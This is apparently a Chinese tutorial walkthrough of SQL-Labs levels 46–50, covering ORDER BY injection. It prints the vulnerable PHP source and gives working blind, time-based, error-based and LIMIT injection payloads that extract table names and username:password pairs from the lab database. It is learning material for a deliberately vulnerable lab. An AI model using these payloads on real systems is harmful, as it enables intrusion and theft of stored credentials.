SQL-Labs靶场“46-50”关通关教程

君衍.

  • 一、四十六关 ORDER BY数字型注入
    • 1、源码分析
    • 2、rand()盲注
    • 3、if语句盲注
    • 4、时间盲注
    • 5、报错注入
    • 6、Limit注入
  • 二、四十七关 ORDER BY单引号报错注入
    • 1、源码分析
    • 2、报错注入
    • 3、时间盲注
  • 三、四十八关 ODRER BY数字型盲注
    • 1、源码分析
    • 2、rand()盲注
    • 3、if语句盲注
    • 4、时间盲注
  • 四、四十九关 ORDER BY单引号盲注
    • 1、源码分析
    • 2、时间盲注
  • 五、五十关 ORDER BY数字型堆叠注入
    • 1、源码分析
    • 2、时间盲注
    • 3、报错注入

点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程
SQL-Labs靶场“15-20”关通关教程
SQL-Labs靶场“21-25”关通关教程

一、四十六关 ORDER BY数字型注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注ORDER BY $id

在这里插入图片描述
我们直接可以从界面中得知传参的参数为SORT,下面我们令参数即sort为1继续尝试输入:

?sort=1

在这里插入图片描述
我们可以看到是一个排序表格,同时我们继续尝试将sort参数变为2继续尝试:
在这里插入图片描述
可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式。
我们这里继续尝试,将参数变为1',我们可以看到它进行了报错:
在这里插入图片描述
可以看到它直接将报错信息输出了出来,所以我们之后可以进行尝试报错注入。
同时我们之前说了使用了order by,所以这里使用union注入当然是不行的,我们不必进行考虑。我们之后可以跟经常使用order by的正反排序,即为desc以及asc,当然,不加这个默认为从小到大,即为asc。
在这里插入图片描述
在这里插入图片描述
所以如果这里进行注入点判断时,我们使用order by为一个数值是没有意义的,这里我们需要使用rand函数,下面我们会谈到。

1、源码分析

<?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];	
if(isset($id)){//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'SORT:'.$id."\n");fclose($fp);$sql = "SELECT * FROM users ORDER BY $id";$result = mysqli_query($con1, $sql);if ($result){?>···<?phpwhile ($row = mysqli_fetch_assoc($result)){echo "<td>".$row['id']."</td>";echo "<td>".$row['username']."</td>";echo "<td>".$row['password']."</td>";}	echo "</table>";}else{print_r(mysqli_error($con1));}}	else{echo "Please input parameter as SORT with numeric value<br><br><br><br>";echo '<img src="../images/Less-46.jpg" /><br>';echo "Lesson Concept and code Idea by <b>D4rk</b>";}
?>

首先进行解读代码,这里我只解读大致部分,首先进行使用GET方式来获取sort参数,然后直接将获取到的参数放入构建的SQL查询语句当中,接着进行判断是否查询成功,如果查询成功,那么输出查询信息,如果没有查询到内容,那么输出报错信息,也是我们的一个注入点。

在这里插入图片描述
在这里插入图片描述

2、rand()盲注

rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。
当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

?sort=rand(true)
?sort=rand(false)

在这里插入图片描述
在这里插入图片描述
可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

?sort=rand(ascii(mid((select database()),1,1))>96)

在这里插入图片描述
我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)

在这里插入图片描述
在这里插入图片描述
这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

3、if语句盲注

这种方式进行盲注仅在order=$id,数字型注入时才能生效。因为如果变为了'$id'则会导致if语句变为字符串从而失效:
在这里插入图片描述
我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。
在这里插入图片描述
所以这里我们需要在知道列名的情况下进行使用:

?sort=if(表达式,id,username)
  • 表达式为true时,根据id进行排序
  • 表达式为false时,根据username来进行排序

当然如果我们在不知道列名的情况下其实也可以使用的:
这里我们主要利用id:
在这里插入图片描述
这里我们使用payload为:

?sort=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常页面
  • 如果表达式为false,sql语句会报错ERROR 1242 (21000): Subquery returns more than 1 row会使查询内容为空。

4、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)

在这里插入图片描述
在这里插入图片描述
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

5、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

?sort=updatexml(1,concat(0x7e,database(),0x7e),1)

在这里插入图片描述

2、爆出数据库中的所有表

?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

在这里插入图片描述

3、爆出数据库users表中的所有列

?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

在这里插入图片描述

4、爆出数据

?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

在这里插入图片描述
这里也不赘述了,改变limit值即可完成数据的查询。

6、Limit注入

首先需要强调该limit注入只适用于<=MySQL5.5版本中,首先介绍limit使用在mysql中,一般使用limit m,n其中m指的是以m为头开始记录,n即为从m+1开始,取n条数据。

select * from users limit 0,1;
select * from users limit 2,4;

在这里插入图片描述
这里我们必须掌握清楚最基础的使用方式。
下面便是limit注入即为注入点在limit后面。
procedure analyse()报错注入
此方法适用于<=MySQL 5.5中,在limit语句后面的注入

在mysql语法中limit后面只能跟PROCEDURE、INTO OUTFILE、FOR UPDATE | LOCK IN SHARE MODE三个函数。

现今的5.7版本后limit 关键字后面就不能和union联合查询一起使用了,但是还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,这里就只演示使用procedure analyse()函数来实现错误注入,这个函数下有ANALYSE支持两个参数。
报错注入方式:

select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));

时间盲注方式:

select * from users order by id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

二、四十七关 ORDER BY单引号报错注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注ORDER BY ‘$id’

本关其实和46关利用方式一样的,只是闭合方式改变了,注入时需要正常闭合:
在这里插入图片描述
在这里插入图片描述
这里我们加上单引号完成闭合,然后注释掉后面的语句完成逃逸即可。所以本关注入点判断其实和46关是一样的,唯独不能使用if语句来进行盲注,上面46关我们也说了原因同时尝试过。

1、源码分析

# 与46关相比就该SQL语句不相同即为闭合方式不同,采用了单引号闭合
$sql = "SELECT * FROM users ORDER BY '$id'";
···

所以本关源码没有什么好说的,原理和46关源码分析是相同的,就闭合方式进行了改变导致我们无法使用if语句注入,所以我们更改注入方案即可。

在这里插入图片描述

2、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出数据库users表中的所有列

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?sort=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
这里也不赘述了,改变limit值即可完成数据的查询。

3、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+

在这里插入图片描述
在这里插入图片描述

所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

三、四十八关 ODRER BY数字型盲注

请求方式注入类型拼接方式
GET布尔盲注、延时盲注ORDER BY $id

在这里插入图片描述
本关依旧同46关利用方式一样,只是没有报错回显:
在这里插入图片描述
所以本关实则就是无法使用报错注入,剩下的都可以使用,因为并没有什么闭合方式:
在这里插入图片描述

1、源码分析

这里源码实则就是把46关显示报错信息的代码省略掉了,原理依旧同46关相同:
在这里插入图片描述
上图为46关代码,下面展示48关代码:
在这里插入图片描述
所以这里即是将报错注入不让使用了,下面我们更改注入方案:

2、rand()盲注

rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。
当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

?sort=rand(true)
?sort=rand(false)

在这里插入图片描述
在这里插入图片描述
可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

?sort=rand(ascii(mid((select database()),1,1))>96)

在这里插入图片描述
我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)

在这里插入图片描述
在这里插入图片描述
这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

3、if语句盲注

这种方式进行盲注仅在order=$id,数字型注入时才能生效。因为如果变为了'$id'则会导致if语句变为字符串从而失效:
在这里插入图片描述
我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。
在这里插入图片描述
所以这里我们需要在知道列名的情况下进行使用:

?sort=if(表达式,id,username)
  • 表达式为true时,根据id进行排序
  • 表达式为false时,根据username来进行排序

当然如果我们在不知道列名的情况下其实也可以使用的:
这里我们主要利用id:
在这里插入图片描述
这里我们使用payload为:

?sort=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常页面
  • 如果表达式为false,sql语句会报错ERROR 1242 (21000): Subquery returns more than 1 row会使查询内容为空。

4、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)

在这里插入图片描述
在这里插入图片描述
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

四、四十九关 ORDER BY单引号盲注

请求方式注入类型拼接方式
GET布尔盲注、延时盲注ORDER BY ‘$id’

在这里插入图片描述
四十九关即和47关类似,只是将报错回显省略掉了,同时增加了闭合。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

本关源码和47关大差不差,就是将47关报错回显省略掉了:
在这里插入图片描述
上图为49关代码,下图为47关代码:
在这里插入图片描述

2、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+

在这里插入图片描述
在这里插入图片描述
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

五、五十关 ORDER BY数字型堆叠注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注、堆叠注入ORDER BY $id

本关依旧同46关注入点判断类似:
在这里插入图片描述
打开界面显示如上图,首先我们令sort参数为1查看回显:
在这里插入图片描述
然后我们在后面加上单引号,观察是否报错:
在这里插入图片描述
我们可以看到这里进行了报错,所以本关我们可以尝试使用报错注入。

1、源码分析

···# 与46关相同
if (mysqli_multi_query($con1, $sql))
···# 与46关相同

和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入。当然我们也可以使用报错注入。
在这里插入图片描述
在这里插入图片描述
(堆叠注入我们之后会详细讨论到)

2、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)

在这里插入图片描述
在这里插入图片描述
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

3、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

?sort=updatexml(1,concat(0x7e,database(),0x7e),1)

在这里插入图片描述

2、爆出数据库中的所有表

?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

在这里插入图片描述

3、爆出数据库users表中的所有列

?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

在这里插入图片描述

4、爆出数据

?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

在这里插入图片描述
这里也不赘述了,改变limit值即可完成数据的查询。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2806044.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

300分钟吃透分布式缓存-13讲:如何完整学习MC协议及优化client访问?

协议分析 异常错误响应 接下来&#xff0c;我们来完整学习 Mc 协议。在学习 Mc 协议之前&#xff0c;首先来看看 Mc 处理协议指令&#xff0c;如果发现异常&#xff0c;如何进行异常错误响应的。Mc 在处理所有 client 端指令时&#xff0c;如果遇到错误&#xff0c;就会返回 …

杰发科技AC7801——SRAM 错误检测纠正

0.概述 7801暂时无错误注入&#xff0c;无法直接进中断看错误情况&#xff0c;具体效果后续看7840的带错误注入的测试情况。 1.简介 2.特性 3.功能 4.调试 可以看到在库文件里面有ecc_sram的库。 在官方GPIO代码里面写了点测试代码 成功打开2bit中断 因为没有错误注入&#x…

信息系统项目管理师(高项)—学习笔记

第一章信息化发展 1.1 信息与信息化 1.1.1 信息 信息是物质、能量及其属性的标示的集合&#xff0c;是确定性的增加。 它以物质介质为载体&#xff0c;在传递和反映世界各种事物存在方式、运动状态等的表征。 信息不是物质&#xff0c;也不是能力&#xff0c;它以一种普遍…

二 线性代数-向量

1、向量的表示方法&#xff1a; 其中的 i、j、k是坐标轴方向的单位向量。 2、向量的模&#xff1a; 用坐标计算的方法&#xff1a; 3、向量的运算&#xff1a; 3.1 向量的加法减法&#xff1a; 3.2 向量的数乘&#xff1a; 拉格朗日乘数法的 基础 公式。 3.3 向量的数量积&a…

抖音短视频提取器|视频内容批量提取软件

抖音短视频提取器是一款功能强大的工具&#xff0c;旨在解决用户获取抖音视频时需要逐个复制链接、下载的繁琐问题。我们希望用户能够通过简单的关键词搜索&#xff0c;实现自动批量抓取视频&#xff0c;并根据需要进行选择性批量下载。基于C#开发的这款工具不仅支持通过关键词…

outlook邮箱后缀怎么设置?邮箱后缀问题?

outlook邮箱后缀如何修改&#xff1f;微软有哪些后缀的邮箱&#xff1f; Outlook不仅提供了稳定的邮件收发服务&#xff0c;还允许用户根据个人喜好和需求自定义邮箱后缀。那么&#xff0c;Outlook邮箱后缀究竟该如何设置呢&#xff1f;下面&#xff0c;蜂邮EDM将一步步指导您…

Linux线程同步(2)死锁与互斥锁

死锁&#xff08;Deadlock&#xff09;是指两个或两个以上的进程&#xff08;或线程&#xff09;在执行过程中&#xff0c;由于竞争资源或者由于彼此通信而造成的一种阻塞的现象&#xff0c;若无外力作用&#xff0c;它们都将无法推进下去。此时称系统处于死锁状态或系统产生了…

嵌入式中数据结构二叉树详解与实现

树是数据结构中的重中之重&#xff0c;尤其以各类二叉树为学习的难点。在面试环节中&#xff0c;二叉树也是必考的模块。本文主要讲二叉树操作的相关知识&#xff0c;梳理面试常考的内容。请大家跟随小编一起来复习吧。 本篇针对面试中常见的二叉树操作作个总结&#xff1a; 前…

基于JAVA的二手车交易系统 开源项目

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 二手车档案管理模块2.3 车辆预约管理模块2.4 车辆预定管理模块2.5 车辆留言板管理模块2.6 车辆资讯管理模块 三、系统设计3.1 E-R图设计3.2 可行性分析3.2.1 技术可行性分析3.2.2 操作可行性3.2.3 经济…

网络攻防之ARP欺骗和DNS劫持实验

目录 ARP单向欺骗 ARP双向欺骗 DNS劫持 实验环境&#xff1a; 攻击主机&#xff1a;kali2023虚拟机&#xff0c;IP地址为192.168.133.141 靶机&#xff1a;Windows10虚拟机&#xff0c;IP地址为192.168.133.129 网关地址&#xff1a;192.168.133.2 (1)ARP协议介绍 在以…

【踩坑】PyTorch中指定GPU不生效和GPU编号不一致问题

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhang.cn] 指定GPU不生效问题 解释&#xff1a;就是使用os.environ["CUDA_VISIBLE_DEVICES"] "1"后&#xff0c;后面使用起来仍然是cuda0. 解决&#xff1a;在最开头就使用 import os os.environ[&…

抖音视频抓取软件的优势|视频评论内容提取器|批量视频下载

抖音视频抓取软件在市场上的优势明显&#xff1a; 功能强大&#xff1a;我们的软件支持关键词搜索抓取和分享链接单一视频提取两种方式&#xff0c;满足用户不同的需求。同时&#xff0c;支持批量处理数据&#xff0c;提高用户获取视频的效率。 操作简单&#xff1a;我们的软件…

vue中使用echarts绘制双Y轴图表时,刻度没有对齐的两种解决方法

文章目录 1、原因2、思路3、解决方法3.1、使用alignTicks解决3.2、结合min和max属性去配置interval属性1、首先固定两边的分隔的段数。2、结合min和max属性去配置interval。 1、原因 刻度在显示时&#xff0c;分割段数不一样&#xff0c;导致左右的刻度线不一致&#xff0c;不…

知识积累(二):损失函数正则化与权重衰减

文章目录 1. 欧氏距离与L2范数1.1 常用的相似性度量 2. 什么是正则化&#xff1f;参考资料 本文只介绍 L2 正则化。 1. 欧氏距离与L2范数 欧氏距离也就是L2范数 1.1 常用的相似性度量 1&#xff09;点积 2&#xff09;余弦相似度 3&#xff09;L1和L2 2. 什么是正则化&…

部署Docker私有镜像仓库Harbor

Harbor介绍 Harbor 是为企业用户设计的开源镜像仓库项目&#xff0c;包括了权限管理(RBAC)、LDAP、审计、安全漏洞扫描、镜像验真、管理界面、自我注册、HA等企业必需的功能&#xff0c;同时针对中国用户的特点&#xff0c;设计镜像复制和中文支持等功能。 官网&#xff1a;h…

如何通过Allegro平台测评提升产品曝光度?

Allegro&#xff0c;这波兰最大的本土电商平台&#xff0c;自1999年由波兰人创立以来&#xff0c;已在人们心中留下深刻印象。高达75%的波兰人知道这个网站&#xff0c;其品牌认知度在波兰更是高达98%。不仅如此&#xff0c;Allegro还被誉为东欧地区最大的拍卖网站。 波兰消费者…

Unity中URP实现水体效果(水的深度)

文章目录 前言一、搭建预备场景1、新建一个面片&#xff0c;使其倾斜一个角度&#xff0c;来模拟水底和岸边的效果2、随便创建几个物体&#xff0c;作为与水面接触的物体3、再新建一个面片&#xff0c;作为水面 二、开始编写水体的Shader效果1、新建一个URP基础Shader2、把水体…

开源软件的影响力:推动软件行业繁荣与技术创新

开源软件的影响力&#xff1a;推动软件行业繁荣与技术创新 随着信息技术的快速发展&#xff0c;开源软件已经成为软件开发的趋势&#xff0c;并产生了深远的影响。开源软件的低成本、可协作性和透明度等特点&#xff0c;使得越来越多的企业和个人选择使用开源软件&…

计算机设计大赛 深度学习卷积神经网络的花卉识别

文章目录 0 前言1 项目背景2 花卉识别的基本原理3 算法实现3.1 预处理3.2 特征提取和选择3.3 分类器设计和决策3.4 卷积神经网络基本原理 4 算法实现4.1 花卉图像数据4.2 模块组成 5 项目执行结果6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基…

unity学习(40)——创建(create)角色脚本(panel)——UI

1.点击不同的头像按钮&#xff0c;分别选择职业1和职业2&#xff0c;create脚本中对应的函数。 2.调取inputfield中所输入的角色名&#xff08;限制用户名长度为7字符&#xff09;&#xff0c;但愿逆向的服务器可以查重名&#xff1a; 3.点击头衔&#xff0c;显示选择的职业&a…